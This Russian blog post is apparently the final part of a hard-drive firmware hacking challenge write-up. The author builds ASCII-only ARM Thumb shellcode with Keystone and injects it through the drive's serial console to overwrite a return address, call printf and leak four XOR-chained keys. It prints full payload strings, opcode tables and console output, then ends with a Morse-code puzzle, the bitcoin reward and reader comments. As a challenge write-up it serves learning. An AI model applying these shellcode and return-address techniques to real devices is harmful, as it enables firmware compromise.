    # By Nguyen Anh Quynh, 2016
    
    .PHONY: all clean
    
    KEYSTONE_LDFLAGS = -lkeystone -lstdc++ -lm
    
    all:
    	${CC} -o lv3 lv3.c ${KEYSTONE_LDFLAGS}
    
    clean:
    	rm -rf *.o lv3

    Открываем lv3.c, и убираем кучу лишнего из main. Нас интересует лишь одна из этих функций - архитектура ARM, режим Thumb, little endian. В качестве примера, возьмем инструкцию прыжка на содержимое в R7 и R3 . Итоговая main должна выглядеть вот так:

    int main(int argc, char **argv)
    {
        // ARM
        test_ks(KS_ARCH_ARM, KS_MODE_THUMB, "bx r3", 0);
        test_ks(KS_ARCH_ARM, KS_MODE_THUMB, "bx r7", 0);
        return 0;
    }

    Собираем и запускаем.

    user@ubuntu:~/Desktop/keystone/samples$ make && ./lv3
    bx r3 = 13 ff 2f e1
    Assembled: 4 bytes, 1 statements
    
    bx r7 = 17 ff 2f e1
    Assembled: 4 bytes, 1 statements

    Огоо! Мы получили 4 байта на инструкцию вместо 2х. Что же происходит? На самом деле, причина такого поведения keystone мне до сих пор не известна. Мы напрямую указали keystone собирать Thumb опкоды, а получили какое-то 4х байтовое г. Патч вполне мог быть причиной - может ребята из RedBalloonSecurity хотели чтоб я написал именно ARM шеллкод - это было бы очень профессионально. Патч я решил не убирать, и в конце концов, решил эту проблему через big endian. Мне пришлось сменить main вот так, чтоб получить желаемое:

    int main(int argc, char **argv)
    {
        // ARM
        test_ks(KS_ARCH_ARM, KS_MODE_THUMB + KS_MODE_BIG_ENDIAN, "bx r3", 0);
        test_ks(KS_ARCH_ARM, KS_MODE_THUMB + KS_MODE_BIG_ENDIAN, "bx r7", 0);
        return 0;
    }
    user@ubuntu:~/Desktop/keystone/samples$ make && ./lv3
    cc -o lv3 lv3.c -lkeystone -lstdc++ -lm
    bx r3 = 47 18
    Assembled: 2 bytes, 1 statements
    
    bx r7 = 47 38
    Assembled: 2 bytes, 1 statements

    Вот теперь красота. Правда только, в обратном порядке байт.

    Неужели готово?

    То есть, что мы получили? Мы ввели желаемую операцию, получили ее опкод, и теперь нам нужно проверить, пройдет ли этот опкод ASCII фильтр. Смотрим на опкоды, и идем вот сюда http://www.asciitable.com. Еще есть очень удобный конвертор https://www.rapidtables.com/convert/number/hex-to-ascii.html

    В нашем примере, инструкция BX R3 имеет опкод 0x18 0x47. Судя по ASCII таблице, первая цифра это какой-то CANCEL. Я уж точно не введу такое в консоль. Второй символ 0х47 даже не смотрим. Эта операция не пройдет ASCII фильтр, и мы не можем использовать ее в шеллкоде.

    А вот BX R7 имеет опкод 0x38 0x47. Судя по ASCII таблице это "8" и "G". Вот это будет работать, и мы можем написать такое в шеллкод.

    Надеюсь, все поняли что такое ASCII фильтр, и чем мы тут занимаемся :)

    Пишем

    Теперь нам прийдется, довольно таки сильно, напрячь мозг. Самое важное, что должен уметь наш шеллкод - это триггерить printf. Без этого, мы не получим ни единого ключа. Как мы помним, в начале программы на строке 24, мы записывали адрес printf в R3, и этот регистр ни разу не менялся в процессе исполнения.

    Мы уже пытались использовать инструкцию BX R3 - она не проходит ASCII фильтр. Но, мы можем попробовать переместить адрес из R3 в какой-то другой регистр и сделать Branch на него. Давайте глянем что такое MOV R5, R3 и BX R5 в виде опкодов. Детально расписывать что и как получаем я не буду. Надеюсь, с keystone все разобрались. Упрощу все до максимума:

    MOV R5, R3  = 0x46 0x1D  = "F "
    BX R5       = 0x28 0x47  = "(G"

    Блин, первая инструкция, как и все другие MOV, не пройдут фильтр. Хм, давайте подумаем. Может мы сможем сохранить содержимое R3 куда-то в память, а потом восстановим его в R5? Ведь, BX R5 прошла фильтр. Судя по программе, R7 указывает на таблицу целостности ключей - то есть, в этом регистре хранится адрес памяти, куда мы, наверное, можем писать. К черту таблицу целостности - когда мы пишем шеллкод, у нас полная свобода!

    Первый

    1. STR R3, [R7]  = 0x3B 0x60  = ";`"
    2. LDR R5, [R7]  = 0x3D 0x68  = "=h"
    3. BX R5         = 0x28 0x47  = "(G"
    1. Сохраняем адрес pfintf в память, куда указывает R7

    2. Подгружаем адрес printf из памяти в R5

    3. Триггерим printf

    Вау! Все опкоды пройдут фильтр. Помним, что мы начинаем исполнять наш код начиная с третьего символа. Первый символ - обязательно будет "R", второй - не важно какой. Конвертируем hex значения опкодов в ASCII, вводим что-то рандомное (соблюдаем наше количество в 163 символа), и в конце пишем адрес третьего символа на стеке - туда и вернется исполнение программы. Верхний байт адреса возврата 0x00 возьмется с символа новой строки.

    F3 T>R!;`=h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+{,
    WRITE_READ_VERIFY_ENABLED
    LED:000000EE FAddr:002C7BB4
    LED:000000EE FAddr:002C7BB4
    LED:000000EE FAddr:002C7BB4

    В этот момент у меня прям реально пошли мурашки по коже! Мы получили что-то помимо ошибок. Это значит только одно - мы успешно триггернули printf. И, судя по тому, что в процессе программы, мы, как минимум прогоняем код по одному из ключей (скорее всего по первому), он должен лежать в R0. Ladies & Gentleman, мы видим первый ключ! По поводу ошибок FAddr я писал в предыдущей статье, но здесь повторюсь - поскольку мы абьюзим адрес возврата, после выполнения printf процессор начинает исполнять неизвестный нам код. Он натыкается на невалидный код операции, и показывает адрес, где он с ним столкнулся. После такого - только ребут жесткого диска по питанию.

    Второй

    Для всех дальнейших ключей нам надо сделать следующее. Здесь вы видите части из level_3.html, где ключи расставляются в регистры R1-R3:

    ...
    079. ROM:00332D94                 LDREQ           R1, [R4,#4]
    080. ROM:00332D98                 EOREQ           R1, R1, R0
    ...
    091. ROM:00332DB8                 LDREQ           R2, [R4,#8]
    092. ROM:00332DBC                 EOREQ           R2, R2, R1
    ...
    105. ROM:00332DE4                 LDREQ           R3, [R4,#0xC]
    106. ROM:00332DE8                 EOREQ           R3, R3, R2
    ...

    Как видим, каждый следующий ключ зависим от предыдущего через EOR. Из-за такой зависимости, для второго ключа, мы должны где-то хранить первый. Для третьего мы должны где-то хранить второй и тд. Инструкций с приставкой -EQ нету в Thumb. Они нам и не нужны. В качестве Thumb-овских аналогов, для LDREQ есть простой LDR, а для EOREQ есть EORS (это не совсем аналоги, но для наших целей - сойдут).

    Пробуем сделать второй ключ:

    1. STR R3, [R7]       = 0x3B 0x60   = ";`"
    2. LDR R5, [R7]       = 0x3D 0x68   = "=h"
    3. LDR  R1, [R4, #4]  = 0x61 0x68   = "ah"
    4. EORS R1, R0        = 0x41 0x40   = "A@"
    5. STR R1, [R7]       = 0x39 0x60   = "9`"
    6. LDR R0, [R7]       = 0x38 0x68   = "8h"
    7. BX R5              = 0x28 0x47   = "(G"
    1. Сохраняем адрес pfintf в память, куда указывает R7

    2. Подгружаем адрес printf из памяти в R5

    3. Грузим второй ключ по правилам из level_3.html в R1

    4. Делаем EORS с первым ключом из R0 и сохраняем в R1. Второй ключ готов

    5. Сохраняем его в память, куда указывает R7

    6. Подгружаем его в R0

    7. Триггерим printf

    Все инструкции проходят фильтр. Пробуем и радуемся - вот наш второй ключ!

    F3 T>R!;`=hahA@9`8h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+{,
    DOWNLOAD_MICROCODE_FUTURE_USE_ONLY
    LED:000000EE FAddr:002C7B5C
    LED:000000EE FAddr:002C7B5C

    Третий

    Для третьего ключа, делаем похожее:

    1. STR R3, [R7]       = 0x3B 0x60 = ";`"
    2. LDR R5, [R7]       = 0x3D 0x68 = "=h"
    3. LDR R1, [R4, #4]   = 0x61 0x68 = "ah"
    4. EORS R1, R0        = 0x41 0x40 = "A@"
    5. LDR R2, [R4, #8]   = 0xA2 0x68 = "¢h"
    6. EORS R2, R1        = 0x4A 0x40 = "J@"
    7. STR R2, [R7]       = 0x3a 0x60 = ":`"
    8. LDR R0, [R7]       = 0x38 0x68 = "8h"
    9. BX R5              = 0x28 0x47 = "(G"

    Опа! Инструкция на строке 5 не пройдет фильтр из-за символа "¢". Он хоть и имеет текстовое представление, но не входит в рамки ASCII. Если я введу его в консоль, мне моментально отобразится сообщение, мол, символ не верный, и покажет чистую строку приглашения:

    F3 T>
    Input_Command_Error
    
    F3 T>

    Инструкция LDR R2, [R4, #8] делает оффсет от R4 на 8 байт, лезет по адресу в память, и сохраняет содержимое в R2. Хм, мы можем хитро выкрутиться, и прибавить к адресу в R4 4 байта, а потом лезть в память с таким же оффсетом как и для первого ключа (инструкция на строке 3 проходит ASCII фильтр как с R1, так и с R2).

    ADDS R4, #4   = 0x04 0x34 = " 4"

    Черт побери, из-за 0х04 мы не сможем использовать подобное. Включаем максимальную хитрость! Может прибавить 44, а потом отнять 40?

    ADDS R4, #44  = 0x2c 0x34 = ",4"
    SUBS R4, #40  = 0x28 0x3c = "(<"

    Вау! Должно сработать. Делаем парочку изменений:

    01. STR R3, [R7]       = 0x3B 0x60 = ";`"
    02. LDR R5, [R7]       = 0x3D 0x68 = "=h"
    03. LDR  R1, [R4, #4]  = 0x61 0x68 = "ah"
    04. EORS R1, R0        = 0x41 0x40 = "A@"
    05. ADDS R4, #44       = 0x2c 0x34 = ",4"
    06. SUBS R4, #40       = 0x28 0x3c = "(<"
    07. LDR R2, [R4, #4]   = 0xA2 0x68 = "bh"
    08. EORS R2, R1        = 0x4A 0x40 = "J@"
    09. STR R2, [R7]       = 0x3a 0x60 = ":`"
    10. LDR R0, [R7]       = 0x38 0x68 = "8h"
    11. BX R5              = 0x28 0x47 = "(G"
    F3 T>R!;`=hahA@,4(<bhJ@:`8h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+{,
    TraceBufferControlFlags1_37
    LED:000000EE FAddr:002C7BB4
    LED:000000EE FAddr:002C7BB4

    Ну ничего себе! У нас получилось. Это наш третий ключик!

    Четвертый

    Идем по тому же пути:

    01. STR R3, [R7]       = 0x3B 0x60 = ";`"
    02. LDR R5, [R7]       = 0x3D 0x68 = "=h"
    03. LDR R1, [R4, #4]   = 0x61 0x68 = "ah"
    04. EORS R1, R0        = 0x41 0x40 = "A@"
    05. ADDS R4, #44       = 0x2c 0x34 = ",4"
    06. SUBS R4, #40       = 0x28 0x3c = "(<"
    07. LDR R2, [R4, #4]   = 0xA2 0x68 = "bh"
    08. EORS R2, R1        = 0x4A 0x40 = "J@"
    09. ADDS R4, #44       = 0x30 0x34 = ",4"
    10. SUBS R4, #40       = 0x28 0x3c = "(<"
    11. LDR R3, [R4, #4]   = 0x63 0x68 = "ch"
    12. EORS R3, R2        = 0x53 0x40 = "S@"
    09. STR R3, [R7]       = 0x3b 0x60 = ";`"
    10. LDR R0, [R7]       = 0x38 0x68 = "8h"
    11. BX R5              = 0x28 0x47 = "(G"

    Вводим:

    F3 T>R!;`=hahA@,4(<bhJ@,4(<chS@;`8h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+{,
    ${SORRY_HABR_DONT_WANT_TO_LEAK_KEY}
    LED:000000EE FAddr:002C7BB4
    LED:000000EE FAddr:002C7BB4

    Ну вот и все. Мы сгенерировали все ключи! Совместив их в 1 строку я получил пароль к архиву. Когда пытался его ввести в 7z, я почему-то получил ошибку. Но, потыкав порядок ключей при совмещении строки, я все же добился желаемого. У нас 4 ключа, то есть - 16 возможных комбинаций. Такое брутфорсится в ручном режиме.

    user@ubuntu:/media/user/LEVEL3$ 7z x final_level.lod.7z.encrypted
    
    7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28
    p7zip Version 17.04 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,8 CPUs x64)
    
    Scanning the drive for archives:
    1 file, 653959 bytes (639 KiB)
    
    Extracting archive: final_level.lod.7z.encrypted
    --
    Path = final_level.lod.7z.encrypted
    Type = 7z
    Physical Size = 653959
    Headers Size = 151
    Method = LZMA:20 7zAES
    Solid = -
    Blocks = 1
    
    
    Enter password (will not be echoed):
    Everything is Ok
    
    Size:       1014784
    Compressed: 653959
    user@ubuntu:/media/user/LEVEL3$ file final_level.lod
    final_level.lod: data

    Стоит оговориться, что наш шеллкод может быть еще круче. Мы можем сформировать format string типа "%s%s%s%s", разместить его где-то в памяти, передать его адрес через R0, а в остальные регистры расставить ключи. У нас целых 0x90 байт для шеллкода. Но, раз уж мы решили левел, двигаем дальше.

    1337

    Финалочка. Прошив диск файлом final_level.lod мне открылся раздел диска с названием 1337. Мы очень близки к награде! Содержимое раздела:

    user@ubuntu:/media/user/1337$ file *
    level4_instructions.txt:   ASCII text
    congrats.pdf.7z.encrypted: 7-zip archive data, version 0.3

    Наша инструкция:

    user@ubuntu:/media/user/1337$ cat level4_instructions.txt
    Almost...
    
    Enter the following commands:
    1. /5
    2. B,,,,1,1
    
    BEE-BOOP-BAP-BOOP-BEE-BOOP

    Нам ничего не остается как ввести это в консоль диска. Результат смотрите на видео:

    Никогда не мог подумать, что слушать азбуку морзе и параллельно записывать точки и тире окажется на столько сложно. Пришлось позакрывать рты всем, кто находился со мной в комнате и воспользоватся айфоновским диктофоном :D

    Точки и тире были очень различимы на графике. Таким образом я получил пароль от последнего файла. На pdf-ке был счастливый единорог на радужном фоне, координаты офиса ребят в NYC и email адрес компании для тех, кто решил диск. А также, приватный и публичный ключи от BTC кошелька с обещанной наградой. Я скачал биткоин клиент Electrum, и подписал транзакцию, которая перевела все 0.1337 BTC на мой кошелек. В наше время, без пруфов никуда. Поэтому, воть:

    https://www.blockchain.com/btc/address/1JKXc7mv3HLAWVZJNMMK5sMCMvMUhUyqt5

    Congrats.pdf

    Эпилог

    Есть еще одна вещь, которая выходила за рамки этих публикаций, но которая стоит внимания. На разделах диска было куча исследований от ребят из RedBalloonSecurity - pdf-ки и видосы с конференций. Как по мне, это отличный способ для кандидатов узнать чем занимается компания, и частью какого мира предстоит быть претенденту. Это очень круто!

    Друзья, этот диск по правде занял очень теплое место в истории моей жизни. И я был чертовски рад поделиться этой историей с вами. Это был невероятно долгий путь. Как в процессе взлома, так и в процессе переноса моих мыслей и воспоминаний в виде этой серии публикаций. Наверное, всех интересует вопрос, получил ли я работу в Нью Йорке... мне хочется сделать из этого тайну а-ля в фильме "Начало" Кристофера Нолана. Юла пускай крутится, а зритель... будет сам думать, во сне это, или наяву.

    Хочу снова упомянуть пользователя @raven19. Статья блещет грамматикой благодаря ему.

    Спасибо за ваши просмотры и лайки. Подписывайтесь на инсту o.tkachuk, хотя бы иногда тыкайте reddit, и держите свои HDD подальше от этих ребят. Всем спасибо за внимание!

    Комментарии 8

      0
      На разделах диска было куча исследований от ребят из RedBalloonSecurity — pdf-ки и видосы с конференций


      Были интересные конференции? есть ли они в сети?
      Эти конференции касаются каких тем в большей степени? (какое направление it )
        +1
        Направление hacking/exploiting и тд. Короче, «не-бумажная» секьюрити.
        Вот, например они показали как можно сменить цвет какого-то участка на мониторе и к чему это может привести. www.youtube.com/watch?v=zvP2FEfOSsk
          0
          Спасибо, посмотрю)
        +1
        Потрясающе! Более-менее что-то понимал лишь в первой части, но как же это захватывающе!
        Всяческих успехов вам.
          +4
          звук издает VCM (aka Voice Coil Motor) это катушка, которая используется для управления блоком головок.
            +1

            Для компиляции/подбора опкодов для шеллкода можно было использовать FASMARM

              0
              Да, наверное есть много утилит для подобного. Но, я не знал ни одной. Keystone был в подсказках. Вот и познакомился)
              0

              Круто! Рад что ты дошел до конца.

              Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

              Самое читаемое